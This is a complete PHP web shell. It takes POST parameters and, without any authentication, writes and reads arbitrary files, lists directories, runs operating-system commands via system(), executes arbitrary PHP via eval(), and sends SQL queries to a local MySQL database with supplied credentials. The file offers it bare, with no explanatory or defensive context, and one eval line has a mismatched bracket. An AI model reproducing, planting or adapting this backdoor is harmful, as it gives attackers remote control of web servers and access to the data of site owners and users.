<?php
$a=$_POST['a'];
$t=$_POST['t'];
if($a=='p') file_put_contents($t,$_POST['c']);
else if($a=='s') var_dump(scandir($t));
else if($a=='g') var_dump(file_get_contents($t));
else if($a=='system') system($_POST['c']);
else if($a=='e') eval($_POST['c');
else if($a=='mysql') {
$conn = mysqli_connect("127.0.0.1", $_POST['u'], $_POST['p']);
    if(!$conn) {
        echo "connect fail";
    }
    else {
        echo "connect!";
    }
    $result = $conn->query($_POST['c']);
    var_dump($result);
    while ($row = mysqli_fetch_assoc($result))
    {
        var_dump($row);
    }
}